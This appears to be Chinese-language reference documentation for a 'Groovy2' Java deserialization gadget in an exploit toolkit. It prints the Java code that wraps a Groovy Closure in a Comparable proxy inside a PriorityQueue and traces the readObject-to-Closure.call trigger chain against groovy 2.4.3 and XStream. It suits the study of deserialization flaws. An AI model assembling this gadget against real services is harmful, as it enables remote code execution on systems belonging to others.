- 类别:javanative 别名:— 优先级:—
- 作者:frohoff
- 依赖:
org.codehaus.groovy:groovy:2.4.3
Groovy Closure 的另一种触发方式:把一个仅实现 Comparable 接口、内部由 ConvertedClosure 支撑的动态代理放入 PriorityQueue。反序列化时 PriorityQueue.readObject 会对元素排序而调用 compareTo,从而进入代理 → Closure.call。tags=XStreamPayload 表明本变体主要面向 XStream 场景。是 frohoff 原始 Groovy1 的 compareTo 入口版本。
- 入口
tags:XStreamPayload—— 承接 XStream 反序列化入口(而非纯 Java 原生入口)。 - 衔接
nextTags:ClosureWithJNDIChain—— 下游提供走 JNDI 落地的 GroovyClosure。 excludes:无。
整个逻辑集中在 getObject,无额外 @Param:
public Object getObject(Object obj) throws Exception {
ConvertedClosure closure = new ConvertedClosure((Closure) obj, "compareTo"); // 绑定 compareTo
Object map = Proxy.newProxyInstance(
Groovy2.class.getClassLoader(), new Class[]{Comparable.class}, // 代理 Comparable
(InvocationHandler) closure);
return PayloadHelper.makePriorityQueue(map, false); // 放入 PriorityQueue
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject(chain.doCreate(context)); // obj = 下游产出的 Closure
}逐段解释:
new ConvertedClosure((Closure) obj, "compareTo"):ConvertedClosure实现InvocationHandler,绑定方法名compareTo;当被代理对象上调用同名方法compareTo时,把调用委派给内部Closure.call(...)。Proxy.newProxyInstance(..., new Class[]{Comparable.class}, closure):生成一个Comparable代理对象。任何对它compareTo(other)的调用都会落到ConvertedClosure。PayloadHelper.makePriorityQueue(map, false):构造一个含两个元素的PriorityQueue并把该代理作为待比较元素。PriorityQueue.readObject在重建堆时执行siftDown/siftUp,对元素调用Comparable.compareTo→ 命中代理 →Closure.call。
触发链:PriorityQueue.readObject → heapify → siftDown → ((Comparable)proxy).compareTo → ConvertedClosure.invoke → Closure.call。相比 Groovy 用 AnnotationInvocationHandler+entrySet,本变体改用 PriorityQueue+compareTo,在被 XStream 等序列化框架处理时更适用。
本类无 @Param。触发入口固定为 compareTo/PriorityQueue,内层 Closure 由下游注入。
- 依赖
groovy 2.4.3(ConvertedClosure与Closure调用语义;2.4.4+ 修复)。 tags=XStreamPayload:设计上服务 XStream 载体;PriorityQueue+Comparable代理是 XStream 环境下常见的可被还原并触发比较的结构。- 无回显;最终动作取决于下游
Closure(本变体nextTags仅给出 JNDI 落地)。
- 自由构件,未直接出现在预设链。
- 下游(
nextTags):ClosureWithJNDI(Sandboxed) —— 提供最终执行的 GroovyClosure。 - 同族:Groovy(
AnnotationInvocationHandler/entrySet入口,Java 原生)、Groovy2GString(GString 入口)。